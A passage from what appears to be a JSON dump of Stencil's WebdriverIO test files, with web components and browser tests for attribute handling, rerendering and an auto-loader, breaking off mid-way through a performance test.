    "content": "import { Component, h, Host, State } from '@stencil/core';\n\n@Component({\n  tag: 'async-rerender',\n  scoped: true,\n})\nexport class MyComponent {\n  @State() data: any[];\n\n  @State() isLoaded = false;\n\n  componentWillLoad() {\n    this.fetchData();\n  }\n\n  private asyncThing(): Promise<{ name: string }[]> {\n    return new Promise((resolve) => {\n      setTimeout(() => {\n        const data = Array.from({ length: 20 }, (_, i) => ({ name: `name ${i + 1}` }));\n\n        const getRandomItems = (arr: any, num: number) => {\n          const shuffled = arr.sort(() => 0.5 - Math.random());\n          return shuffled.slice(0, num);\n        };\n\n        resolve(getRandomItems(data, 10));\n      }, 500);\n    });\n  }\n\n  async fetchData() {\n    this.data = await this.asyncThing();\n    this.isLoaded = true;\n  }\n\n  async prev() {\n    this.isLoaded = false;\n    this.data = (await this.asyncThing()).slice(0, 5);\n    this.isLoaded = true;\n  }\n\n  async after() {\n    this.isLoaded = false;\n    this.data = await this.asyncThing();\n    this.isLoaded = true;\n  }\n\n  display() {\n    return this.data !== undefined && this.data !== null;\n  }\n\n  render() {\n    return (\n      <Host>\n        <p>\n          <button onClick={() => this.prev()}>Previous</button>\n          <button onClick={() => this.after()}>Next</button>\n        </p>\n        {this.display() && (\n          <section class={`data-state ${this.isLoaded ? 'loaded' : ''}`}>\n            {this.data?.map((d) => <div class=\"number\">{d.name}</div>)}\n          </section>\n        )}\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/attribute-basic/cmp-root.tsx",
    "content": "import { Component, Element, h } from '@stencil/core';\n\n@Component({\n  tag: 'attribute-basic-root',\n})\nexport class AttributeBasicRoot {\n  @Element() el!: HTMLElement;\n  url?: URL;\n\n  componentWillLoad() {\n    this.url = new URL(window.location.href);\n  }\n\n  testClick() {\n    const cmp = this.el.querySelector('attribute-basic')!;\n\n    cmp.setAttribute('single', 'single-update');\n    cmp.setAttribute('multi-word', 'multiWord-update');\n    cmp.setAttribute('my-custom-attr', 'my-custom-attr-update');\n    cmp.setAttribute('getter', 'getter-update');\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.testClick.bind(this)}>Test</button>\n        <attribute-basic></attribute-basic>\n        <div>\n          hostname: {this.url!.hostname}, pathname: {this.url!.pathname}\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/attribute-basic/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('attribute-basic', () => {\n  before(async () => {\n    render({\n      template: () => <attribute-basic-root></attribute-basic-root>,\n    });\n  });\n\n  it('button click rerenders', async () => {\n    await $('attribute-basic.hydrated').waitForExist();\n    await expect($('.single')).toHaveText('single');\n    await expect($('.multiWord')).toHaveText('multiWord');\n    await expect($('.customAttr')).toHaveText('my-custom-attr');\n    await expect($('.htmlForLabel')).toHaveAttribute('for', 'a');\n    await expect($('.getter')).toHaveText('getter');\n\n    const button = await $('button');\n    await button.click();\n\n    await expect($('.single')).toHaveText('single-update');\n    await expect($('.multiWord')).toHaveText('multiWord-update');\n    await expect($('.customAttr')).toHaveText('my-custom-attr-update');\n    await expect($('.getter')).toHaveText('getter-update');\n  });\n});\n"
  },
  {
    "path": "test/wdio/attribute-basic/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'attribute-basic',\n})\nexport class AttributeBasic {\n  private _getter = 'getter';\n  @Prop() single = 'single';\n  @Prop() multiWord = 'multiWord';\n  @Prop({ attribute: 'my-custom-attr' }) customAttr = 'my-custom-attr';\n  @Prop()\n  get getter() {\n    return this._getter;\n  }\n  set getter(newVal: string) {\n    this._getter = newVal;\n  }\n\n  render() {\n    return (\n      <div>\n        <div class=\"single\">{this.single}</div>\n        <div class=\"multiWord\">{this.multiWord}</div>\n        <div class=\"customAttr\">{this.customAttr}</div>\n        <div class=\"getter\">{this.getter}</div>\n        <div>\n          <label class=\"htmlForLabel\" htmlFor={'a'}>\n            htmlFor\n          </label>\n          <input type=\"checkbox\" id={'a'}></input>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/attribute-boolean/cmp-root.tsx",
    "content": "import { Component, Element, h, Method, State } from '@stencil/core';\n\n@Component({\n  tag: 'attribute-boolean-root',\n})\nexport class AttributeBooleanRoot {\n  @Element() el!: HTMLElement;\n\n  @State() state = false;\n\n  @Method()\n  async toggleState() {\n    this.state = !this.state;\n  }\n\n  hostData() {\n    return {\n      readonly: this.state,\n      tappable: this.state,\n      str: this.state ? 'hello' : null,\n      'aria-hidden': `${this.state}`,\n\n      fixedtrue: 'true',\n      fixedfalse: 'false',\n\n      'no-appear': undefined as any,\n      'no-appear2': false,\n    };\n  }\n\n  render() {\n    const AttributeBoolean = 'attribute-boolean' as any;\n    return [\n      <button onClick={this.toggleState.bind(this)}>Toggle attributes</button>,\n      <AttributeBoolean\n        boolState={this.state}\n        strState={this.state as any}\n        noreflect={this.state}\n        tappable={this.state}\n        aria-hidden={`${this.state}`}\n      />,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/attribute-boolean/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('attribute-boolean', () => {\n  before(async () => {\n    render({\n      template: () => <attribute-boolean-root></attribute-boolean-root>,\n    });\n  });\n\n  it('button click rerenders', async () => {\n    await $('attribute-boolean-root.hydrated').waitForExist();\n    const root: any = document.body.querySelector('attribute-boolean-root')!;\n    await expect($(root)).toHaveAttribute('aria-hidden', 'false');\n    await expect(root).toHaveAttribute('aria-hidden', 'false');\n    await expect(root).toHaveAttribute('fixedtrue', 'true');\n    await expect(root).toHaveAttribute('fixedfalse', 'false');\n    await expect(root).not.toHaveAttribute('readonly');\n    await expect(root).not.toHaveAttribute('tappable');\n    await expect(root).not.toHaveAttribute('str');\n    await expect(root).not.toHaveAttribute('no-appear');\n    await expect(root).not.toHaveAttribute('no-appear-two');\n\n    const child = root.querySelector('attribute-boolean')!;\n    await expect(child).toHaveAttribute('aria-hidden', 'false');\n    await expect(child).toHaveAttribute('str-state', 'false');\n    await expect(child).not.toHaveAttribute('bool-state');\n    await expect(child).not.toHaveAttribute('noreflect');\n    await expect(child).not.toHaveAttribute('tappable');\n\n    const button = await $('button');\n    await button.click();\n\n    await expect($(root)).toHaveAttribute('aria-hidden', 'true');\n    await expect(root).toHaveAttribute('fixedtrue', 'true');\n    await expect(root).toHaveAttribute('fixedfalse', 'false');\n    await expect(root).toHaveAttribute('readonly');\n    await expect(root).toHaveAttribute('tappable', '');\n    await expect(root).toHaveAttribute('str', 'hello');\n    await expect(root).not.toHaveAttribute('no-appear');\n    await expect(root).not.toHaveAttribute('no-appear-two');\n\n    await expect(child).toHaveAttribute('aria-hidden', 'true');\n    await expect(child).toHaveAttribute('str-state', 'true');\n    await expect(child).toHaveAttribute('bool-state', '');\n    await expect(child).not.toHaveAttribute('noreflect');\n    await expect(child).toHaveAttribute('tappable', '');\n  });\n});\n"
  },
  {
    "path": "test/wdio/attribute-boolean/cmp.tsx",
    "content": "import { Component, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'attribute-boolean',\n})\nexport class AttributeBoolean {\n  @Prop({ reflect: true }) boolState?: boolean;\n  @Prop({ reflect: true }) strState?: string;\n  @Prop() noreflect?: boolean;\n}\n"
  },
  {
    "path": "test/wdio/attribute-complex/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser } from '@wdio/globals';\n\ndescribe('attribute-complex', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <attribute-complex></attribute-complex>,\n    });\n  });\n\n  afterEach(() => {\n    document.body.querySelector('attribute-complex')?.remove();\n  });\n\n  it('should cast attributes', async () => {\n    await $('attribute-complex').waitForExist();\n    const el = document.body.querySelector('attribute-complex') as any;\n\n    el.setAttribute('nu-0', '3');\n    el.setAttribute('nu-1', '-2.3');\n    el.nu2 = '123';\n\n    el.setAttribute('bool-0', 'false');\n    el.setAttribute('bool-1', 'true');\n    el.setAttribute('bool-2', '');\n\n    el.setAttribute('str-0', 'false');\n    el.setAttribute('str-1', '123');\n    el.str2 = 321;\n\n    el.setAttribute('obj', 'James Pond RoboCod');\n\n    const instance = await el.getInstance();\n    expect(instance.nu0).toBe(3);\n    expect(instance.nu1).toBe(-2.3);\n    expect(instance.nu2).toBe(123);\n\n    expect(instance.bool0).toBe(false);\n    expect(instance.bool1).toBe(true);\n    expect(instance.bool2).toBe(true);\n\n    expect(instance.str0).toBe('false');\n    expect(instance.str1).toBe('123');\n    expect(instance.str2).toBe('321');\n\n    expect(instance.obj).toBe('{\"name\":\"James Pond RoboCod\"}');\n  });\n\n  it('should cast element props', async () => {\n    const el = document.body.querySelector('attribute-complex') as any;\n    const instance = await el.getInstance();\n\n    el.nu0 = '1234';\n    el.nu1 = '-111.1';\n\n    el.bool0 = 'true';\n    el.bool1 = 'false';\n    el.bool2 = false;\n\n    el.obj = 'James Pond RoboCod';\n\n    expect(instance.nu0).toBe(1234);\n    expect(instance.nu1).toBe(-111.1);\n\n    expect(instance.bool0).toBe(true);\n    expect(instance.bool1).toBe(false);\n    expect(instance.bool2).toBe(false);\n\n    await browser.pause(100);\n    expect(instance.str0).toBe('hello'); // default value\n    expect(instance.obj).toBe('{\"name\":\"James Pond RoboCod\"}');\n  });\n});\n"
  },
  {
    "path": "test/wdio/attribute-complex/cmp.tsx",
    "content": "import { Component, Method, Prop } from '@stencil/core';\n\nimport { SomeTypes } from '../util.js';\n\n@Component({\n  tag: 'attribute-complex',\n})\nexport class AttributeComplex {\n  @Prop() nu0 = 1;\n  @Prop() nu1?: number;\n  @Prop() nu2?: SomeTypes.Number;\n\n  @Prop() bool0 = true;\n  @Prop() bool1?: boolean;\n  @Prop() bool2?: boolean;\n\n  @Prop() str0 = 'hello';\n  @Prop() str1?: string;\n  @Prop() str2?: SomeTypes.String;\n\n  private _obj = { name: 'James bond' };\n  @Prop()\n  get obj() {\n    return JSON.stringify(this._obj);\n  }\n  set obj(newVal: string) {\n    if (typeof newVal === 'string') {\n      this._obj = { name: newVal };\n    }\n  }\n\n  @Method()\n  async getInstance() {\n    return this;\n  }\n}\n"
  },
  {
    "path": "test/wdio/attribute-deserializer/cmp.test.tsx",
    "content": "import { render, waitForChanges } from '@wdio/browser-runner/stencil';\nimport { expect } from '@wdio/globals';\n\ndescribe('attribute-deserializer', () => {\n  before(async () => {\n    render({\n      html: `<attribute-deserializer bool array=\"[1,2,3]\" json='{\"foo\":\"bar\"}' get-set='{\"foo\":\"bar\"}'></attribute-deserializer>`,\n      components: [],\n    });\n  });\n\n  it('correctly deserializes basic attributes', async () => {\n    const root = document.body.querySelector('attribute-deserializer');\n    await waitForChanges();\n    expect(root.bool).toBe(true);\n    expect(root.array).toEqual([1, 2, 3]);\n    expect(root.json).toEqual({ foo: 'bar' });\n    expect(await root.getBools()).toEqual([true]);\n    expect(await root.getArray()).toEqual([[1, 2, 3]]);\n    expect(await root.getJson()).toEqual([{ foo: 'bar' }]);\n\n    root.removeAttribute('bool');\n    root.removeAttribute('array');\n    root.removeAttribute('json');\n\n    expect(root.bool).toBe(false);\n    expect(root.array).toEqual(null);\n    expect(root.json).toEqual(null);\n    expect(await root.getBools()).toEqual([true, false]);\n    expect(await root.getArray()).toEqual([[1, 2, 3], null]);\n    expect(await root.getJson()).toEqual([{ foo: 'bar' }, null]);\n\n    root.setAttribute('bool', 'false');\n    root.setAttribute('array', 'invalid json');\n    root.setAttribute('json', 'invalid json');\n\n    expect(root.bool).toBe(false);\n    expect(root.array).toEqual(null);\n    expect(root.json).toEqual(null);\n    expect(await root.getBools()).toEqual([true, false]);\n    expect(await root.getArray()).toEqual([[1, 2, 3], null]);\n    expect(await root.getJson()).toEqual([{ foo: 'bar' }, null]);\n\n    root.setAttribute('bool', 'true');\n    root.setAttribute('array', '[\"a\",\"b\",\"c\"]');\n    root.setAttribute('json', '{\"bar\":\"baz\"}');\n\n    expect(root.bool).toBe(true);\n    expect(root.array).toEqual(['a', 'b', 'c']);\n    expect(root.json).toEqual({ bar: 'baz' });\n    expect(await root.getBools()).toEqual([true, false, true]);\n    expect(await root.getArray()).toEqual([[1, 2, 3], null, ['a', 'b', 'c']]);\n    expect(await root.getJson()).toEqual([{ foo: 'bar' }, null, { bar: 'baz' }]);\n  });\n\n  it('correctly deserializes get / set properties in the correct order', async () => {\n    const root = document.body.querySelector('attribute-deserializer');\n    expect(root.getSet).toEqual({ foo: 'bar' });\n    // hits the deserializer first\n    // then the setter\n    // then the watcher\n    expect(await root.getGetSet()).toEqual(['1.', '{\"foo\":\"bar\"}', '2.', { foo: 'bar' }, '3.', { foo: 'bar' }]);\n\n    root.setAttribute('get-set', '{\"bar\":\"baz\"}');\n    await waitForChanges();\n    // hits the deserializer first\n    // then the setter\n    // then the watcher\n    expect(await root.getGetSet()).toEqual([\n      '1.',\n      '{\"foo\":\"bar\"}',\n      '2.',\n      { foo: 'bar' },\n      '3.',\n      { foo: 'bar' },\n      '1.',\n      '{\"bar\":\"baz\"}',\n      '2.',\n      { bar: 'baz' },\n      '3.',\n      { bar: 'baz' },\n    ]);\n  });\n});\n"
  },
  {
    "path": "test/wdio/attribute-deserializer/cmp.tsx",
    "content": "import { AttrDeserialize, Component, h, Method, Prop, Watch } from '@stencil/core';\n\n@Component({\n  tag: 'attribute-deserializer',\n})\nexport class AttributeDeserializer {\n  // boolean\n\n  @Prop() bool: boolean;\n\n  @AttrDeserialize('bool')\n  boolDeserialze(newVal: string | null) {\n    if (newVal === null || newVal.match(/^(null|false|undefined)$/)) return false;\n    return true;\n  }\n\n  private boolStates: boolean[] = [];\n\n  @Watch('bool')\n  boolWatcher(newVal: any) {\n    this.boolStates.push(newVal);\n  }\n\n  @Method()\n  async getBools() {\n    return this.boolStates;\n  }\n\n  @Prop() array: string[];\n  @Prop() json: { foo: string };\n  @AttrDeserialize('json')\n  @AttrDeserialize('array')\n  jsonDeserialize(newVal: string) {\n    try {\n      return JSON.parse(newVal);\n    } catch (e) {\n      return null;\n    }\n  }\n\n  private jsonStates: any = [];\n  private arrayStates: any = [];\n\n  @Watch('array')\n  @Watch('json')\n  arrayAndJsonWatcher(newVal: any, _old: any, propName: string) {\n    if (propName === 'array') this.arrayStates.push(newVal);\n    if (propName === 'json') this.jsonStates.push(newVal);\n  }\n\n  @Method()\n  async getJson() {\n    return this.jsonStates;\n  }\n\n  @Method()\n  async getArray() {\n    return this.arrayStates;\n  }\n\n  private getSetOrder: any[] = [];\n\n  private _getSet: { [key: string]: string } = { moo: 'bar' };\n  @Prop()\n  get getSet() {\n    return this._getSet;\n  }\n  set getSet(v: { [key: string]: string }) {\n    this.getSetOrder.push('2.', v);\n    this._getSet = v;\n  }\n\n  @AttrDeserialize('getSet')\n  getSetDeserialize(newVal: string) {\n    this.getSetOrder.push('1.', newVal);\n    try {\n      return JSON.parse(newVal);\n    } catch (e) {\n      return null;\n    }\n  }\n\n  @Watch('getSet')\n  getSetWatcher(newVal: any) {\n    this.getSetOrder.push('3.', newVal);\n  }\n\n  @Method()\n  async getGetSet() {\n    return this.getSetOrder;\n  }\n\n  render() {\n    return <div>testing</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/attribute-host/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('attribute-host', () => {\n  before(async () => {\n    render({\n      template: () => <attribute-host></attribute-host>,\n    });\n  });\n\n  it('add/remove attrs', async () => {\n    // await $('section').waitForExist();\n\n    const elm = await $('section');\n    const button = await $('button');\n\n    await expect(elm).toHaveAttribute('content', 'attributes removed');\n    await expect(elm).toHaveAttribute('bold', 'false');\n    await expect(elm).not.toHaveAttribute('padding');\n    await expect(elm).not.toHaveAttribute('margin');\n    await expect(elm).not.toHaveAttribute('color');\n    await expect(elm).not.toHaveAttribute('no-attr');\n\n    const defaultBorderColor = getComputedStyle(document.body).borderColor.replaceAll(' ', '');\n    // console.log(elm, defaultBorderColor, '?????')\n    await expect(elm).toHaveStyle({\n      // get default border color from body element as it might differ between different OS\n      'border-color': defaultBorderColor,\n      display: 'inline-block',\n      'font-size': '16px',\n    });\n\n    // this tests CSS custom properties in inline style, but CSS var are\n    // not supported natively in IE11, so let's skip the test\n    await expect(document.querySelector('section').style.getPropertyValue('--css-var')).toBe('');\n\n    await button.click();\n\n    await expect(elm).toHaveStyle({\n      'border-color': 'rgb(0,0,0)',\n      display: 'block',\n      'font-size': '24px',\n    });\n\n    let cssVar = document.querySelector('section')?.style.getPropertyValue('--css-var');\n    expect(cssVar).toEqual('12');\n\n    await expect($(elm)).toHaveAttribute('content', 'attributes added');\n    await expect($(elm)).toHaveAttribute('padding', '');\n    await expect($(elm)).toHaveAttribute('bold', 'true');\n    await expect($(elm)).toHaveAttribute('margin', '');\n    await expect($(elm)).toHaveAttribute('color', 'lime');\n    await expect($(elm)).not.toHaveAttribute('no-attr');\n\n    await button.click();\n\n    await expect(elm).toHaveStyle({\n      'border-color': defaultBorderColor,\n      display: 'inline-block',\n      'font-size': '16px',\n    });\n\n    cssVar = document.querySelector('section')?.style.getPropertyValue('--css-var');\n    expect(cssVar).toEqual('');\n\n    await expect($(elm)).toHaveAttribute('content', 'attributes removed');\n    await expect($(elm)).not.toHaveAttribute('padding');\n    await expect($(elm)).toHaveAttribute('bold', 'false');\n    await expect($(elm)).not.toHaveAttribute('margin');\n    await expect($(elm)).not.toHaveAttribute('color');\n    await expect($(elm)).not.toHaveAttribute('no-attr');\n\n    await button.click();\n\n    await expect(elm).toHaveStyle({\n      'border-color': 'rgb(0,0,0)',\n      display: 'block',\n      'font-size': '24px',\n    });\n\n    cssVar = document.querySelector('section')?.style.getPropertyValue('--css-var');\n    expect(cssVar).toEqual('12');\n\n    await expect($(elm)).toHaveAttribute('content', 'attributes added');\n    await expect($(elm)).toHaveAttribute('padding', '');\n    await expect($(elm)).toHaveAttribute('bold', 'true');\n    await expect($(elm)).toHaveAttribute('margin', '');\n    await expect($(elm)).toHaveAttribute('color', 'lime');\n    await expect($(elm)).not.toHaveAttribute('no-attr');\n  });\n});\n"
  },
  {
    "path": "test/wdio/attribute-host/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'attribute-host',\n  styles: `\n    [color='lime'] {\n      background: lime;\n    }\n    section::before {\n      content: attr(content);\n    }\n    [padding='true'] {\n      padding: 50px;\n    }\n    [margin] {\n      margin: 50px;\n    }\n    [bold='true'] {\n      font-weight: bold;\n    }\n  `,\n})\nexport class AttributeHost {\n  @State() attrsAdded = false;\n\n  testClick() {\n    this.attrsAdded = !this.attrsAdded;\n  }\n\n  render() {\n    const propsToRender: any = {};\n\n    if (this.attrsAdded) {\n      propsToRender.color = 'lime';\n      propsToRender.content = 'attributes added';\n      propsToRender.padding = true;\n      propsToRender.margin = '';\n      propsToRender.bold = 'true';\n      propsToRender['no-attr'] = null;\n    } else {\n      propsToRender.content = 'attributes removed';\n      propsToRender.padding = false;\n      propsToRender.bold = 'false';\n      propsToRender['no-attr'] = null;\n    }\n\n    return [\n      <button onClick={this.testClick.bind(this)}>{this.attrsAdded ? 'Remove' : 'Add'} Attributes</button>,\n      <section\n        {...propsToRender}\n        style={{\n          'border-color': this.attrsAdded ? 'black' : '',\n          display: this.attrsAdded ? 'block' : 'inline-block',\n          fontSize: this.attrsAdded ? '24px' : '',\n          '--css-var': this.attrsAdded ? '12' : '',\n        }}\n      />,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/attribute-html/cmp-root.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'attribute-html-root',\n})\nexport class AttributeHtmlRoot {\n  @Prop() strAttr?: string;\n  @Prop() anyAttr?: any;\n  @Prop() nuAttr?: number;\n\n  render() {\n    return [\n      <p>\n        strAttr:{' '}\n        <strong id=\"str-attr\">\n          {this.strAttr} {typeof this.strAttr}\n        </strong>\n      </p>,\n      <p>\n        anyAttr:{' '}\n        <strong id=\"any-attr\">\n          {this.anyAttr} {typeof this.anyAttr}\n        </strong>\n      </p>,\n      <p>\n        nuAttr:{' '}\n        <strong id=\"nu-attr\">\n          {this.nuAttr} {typeof this.nuAttr}\n        </strong>\n      </p>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/attribute-html/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('attribute-html', () => {\n  before(async () => {\n    render({\n      template: () => <attribute-html-root str-attr=\"my string\" any-attr=\"0\" nu-attr=\"12\"></attribute-html-root>,\n    });\n  });\n\n  it('should have proper values', async () => {\n    await expect($('#str-attr')).toHaveText('my string string');\n    await expect($('#any-attr')).toHaveText('0 string');\n    await expect($('#nu-attr')).toHaveText('12 number');\n  });\n});\n"
  },
  {
    "path": "test/wdio/auto-loader/auto-loader-child.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'auto-loader-child',\n  shadow: true,\n})\nexport class AutoLoaderChild {\n  render() {\n    return (\n      <div class=\"child-loaded\">\n        <span>Child Component Loaded</span>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/auto-loader/auto-loader-dynamic.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'auto-loader-dynamic',\n  shadow: true,\n})\nexport class AutoLoaderDynamic {\n  render() {\n    return (\n      <div class=\"dynamic-loaded\">\n        <span>Dynamic Component Loaded</span>\n        <auto-loader-child></auto-loader-child>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/auto-loader/auto-loader-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'auto-loader-root',\n  shadow: true,\n})\nexport class AutoLoaderRoot {\n  render() {\n    return (\n      <div class=\"root-loaded\">\n        <span>Root Component Loaded</span>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/auto-loader/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser, expect } from '@wdio/globals';\n\ndescribe('auto-loader', () => {\n  before(async () => {\n    // Load the auto-loader script (built via auto-loader.stencil.config.ts)\n    await import('../test-components-autoloader/loader.js');\n\n    render({\n      components: [],\n      template: () => (\n        <Fragment>\n          <auto-loader-root></auto-loader-root>\n          <button id=\"add-dynamic\">Add Dynamic Component</button>\n        </Fragment>\n      ),\n    });\n  });\n\n  describe('initial load', () => {\n    it('should load component present in initial DOM', async () => {\n      // Wait for root component to be defined\n      await browser.waitUntil(\n        async () => {\n          const isDefined = await browser.execute(() => customElements.get('auto-loader-root') !== undefined);\n          return isDefined;\n        },\n        { timeout: 5000, timeoutMsg: 'auto-loader-root was not defined' },\n      );\n\n      // Verify the component rendered correctly\n      const root = await $('auto-loader-root');\n      await expect(root).toBeExisting();\n\n      // Check shadow DOM content\n      const rootContent = await browser.execute(() => {\n        const el = document.querySelector('auto-loader-root');\n        return el?.shadowRoot?.querySelector('.root-loaded')?.textContent;\n      });\n      expect(rootContent).toContain('Root Component Loaded');\n    });\n  });\n\n  describe('MutationObserver', () => {\n    it('should load dynamically created component', async () => {\n      // Click button to create dynamic element\n      await browser.execute(() => {\n        const btn = document.querySelector('#add-dynamic');\n        btn?.addEventListener(\n          'click',\n          () => {\n            const dynamic = document.createElement('auto-loader-dynamic');\n            document.body.appendChild(dynamic);\n          },\n          { once: true },\n        );\n      });\n\n      const btn = await $('#add-dynamic');\n      await btn.click();\n\n      // Wait for dynamic component to be defined\n      await browser.waitUntil(\n        async () => {\n          const isDefined = await browser.execute(() => customElements.get('auto-loader-dynamic') !== undefined);\n          return isDefined;\n        },\n        { timeout: 5000, timeoutMsg: 'auto-loader-dynamic was not defined' },\n      );\n\n      // Verify the component rendered correctly\n      const dynamic = await $('auto-loader-dynamic');\n      await expect(dynamic).toBeExisting();\n\n      // Check shadow DOM content\n      const dynamicContent = await browser.execute(() => {\n        const el = document.querySelector('auto-loader-dynamic');\n        return el?.shadowRoot?.querySelector('.dynamic-loaded')?.textContent;\n      });\n      expect(dynamicContent).toContain('Dynamic Component Loaded');\n    });\n  });\n\n  describe('nested component auto-definition', () => {\n    it('should auto-define nested child components', async () => {\n      // Wait for child component to be defined (auto-defined by parent)\n      await browser.waitUntil(\n        async () => {\n          const isDefined = await browser.execute(() => customElements.get('auto-loader-child') !== undefined);\n          return isDefined;\n        },\n        { timeout: 5000, timeoutMsg: 'auto-loader-child was not defined' },\n      );\n\n      // Verify the child component rendered correctly inside dynamic\n      const childContent = await browser.execute(() => {\n        const dynamic = document.querySelector('auto-loader-dynamic');\n        const child = dynamic?.shadowRoot?.querySelector('auto-loader-child');\n        return child?.shadowRoot?.querySelector('.child-loaded')?.textContent;\n      });\n      expect(childContent).toContain('Child Component Loaded');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/auto-loader/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface AutoLoaderChild {\n    }\n    interface AutoLoaderDynamic {\n    }\n    interface AutoLoaderRoot {\n    }\n}\ndeclare global {\n    interface HTMLAutoLoaderChildElement extends Components.AutoLoaderChild, HTMLStencilElement {\n    }\n    var HTMLAutoLoaderChildElement: {\n        prototype: HTMLAutoLoaderChildElement;\n        new (): HTMLAutoLoaderChildElement;\n    };\n    interface HTMLAutoLoaderDynamicElement extends Components.AutoLoaderDynamic, HTMLStencilElement {\n    }\n    var HTMLAutoLoaderDynamicElement: {\n        prototype: HTMLAutoLoaderDynamicElement;\n        new (): HTMLAutoLoaderDynamicElement;\n    };\n    interface HTMLAutoLoaderRootElement extends Components.AutoLoaderRoot, HTMLStencilElement {\n    }\n    var HTMLAutoLoaderRootElement: {\n        prototype: HTMLAutoLoaderRootElement;\n        new (): HTMLAutoLoaderRootElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"auto-loader-child\": HTMLAutoLoaderChildElement;\n        \"auto-loader-dynamic\": HTMLAutoLoaderDynamicElement;\n        \"auto-loader-root\": HTMLAutoLoaderRootElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface AutoLoaderChild {\n    }\n    interface AutoLoaderDynamic {\n    }\n    interface AutoLoaderRoot {\n    }\n    interface IntrinsicElements {\n        \"auto-loader-child\": AutoLoaderChild;\n        \"auto-loader-dynamic\": AutoLoaderDynamic;\n        \"auto-loader-root\": AutoLoaderRoot;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"auto-loader-child\": LocalJSX.IntrinsicElements[\"auto-loader-child\"] & JSXBase.HTMLAttributes<HTMLAutoLoaderChildElement>;\n            \"auto-loader-dynamic\": LocalJSX.IntrinsicElements[\"auto-loader-dynamic\"] & JSXBase.HTMLAttributes<HTMLAutoLoaderDynamicElement>;\n            \"auto-loader-root\": LocalJSX.IntrinsicElements[\"auto-loader-root\"] & JSXBase.HTMLAttributes<HTMLAutoLoaderRootElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/wdio/auto-loader/perf-dist.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { browser } from '@wdio/globals';\n\n/**\n * Performance test for traditional dist lazy-loader approach.\n *\n * Measures the same metrics as perf.test.tsx for comparison:\n * 1. Time to loader initialization\n * 2. Time to first render (hydrated)\n * 3. Time for dynamically added component\n *\n * Run separately and compare results with auto-loader.\n */\ndescribe('dist lazy-loader performance', () => {\n  const metrics: Record<string, number> = {};\n\n  it('should measure loader initialization', async () => {\n    const initTime = await browser.execute(() => performance.now());\n\n    // Import and initialize the dist loader\n    const { defineCustomElements } = await import('../dist-autoloader-comparison/loader/index.js');\n    defineCustomElements();\n\n    const afterImport = await browser.execute(() => performance.now());\n    metrics.loaderImport = afterImport - initTime;\n\n    console.log(`\\n[PERF] Loader import + defineCustomElements: ${metrics.loaderImport.toFixed(2)}ms`);\n  });\n\n  it('should measure initial component render', async () => {\n    const startTime = await browser.execute(() => performance.now());\n\n    render({\n      components: [],\n      template: () => (\n        <Fragment>\n          <auto-loader-root></auto-loader-root>\n        </Fragment>\n      ),\n    });\n\n    // Wait for component to be defined\n    await browser.waitUntil(async () => browser.execute(() => customElements.get('auto-loader-root') !== undefined), {\n      timeout: 5000,\n    });\n\n    const definedTime = await browser.execute(() => performance.now());\n    metrics.timeToDefinition = definedTime - startTime;\n\n    // Wait for render complete (hydrated class or shadow content)\n    await browser.waitUntil(\n      async () =>\n        browser.execute(() => {\n          const el = document.querySelector('auto-loader-root');\n          return el?.classList.contains('hydrated') || el?.shadowRoot?.querySelector('.root-loaded') !== null;\n        }),\n      { timeout: 5000 },\n    );\n\n    const renderTime = await browser.execute(() => performance.now());\n    metrics.timeToRender = renderTime - startTime;\n\n    console.log(`[PERF] Time to definition: ${metrics.timeToDefinition.toFixed(2)}ms`);\n    console.log(`[PERF] Time to render: ${metrics.timeToRender.toFixed(2)}ms`);\n  });\n\n  it('should measure dynamic component load', async () => {\n    const startTime = await browser.execute(() => {\n      const start = performance.now();\n      const dynamic = document.createElement('auto-loader-dynamic');\n      document.body.appendChild(dynamic);\n      return start;\n    });\n\n    // Wait for dynamic component to render\n    await browser.waitUntil(\n      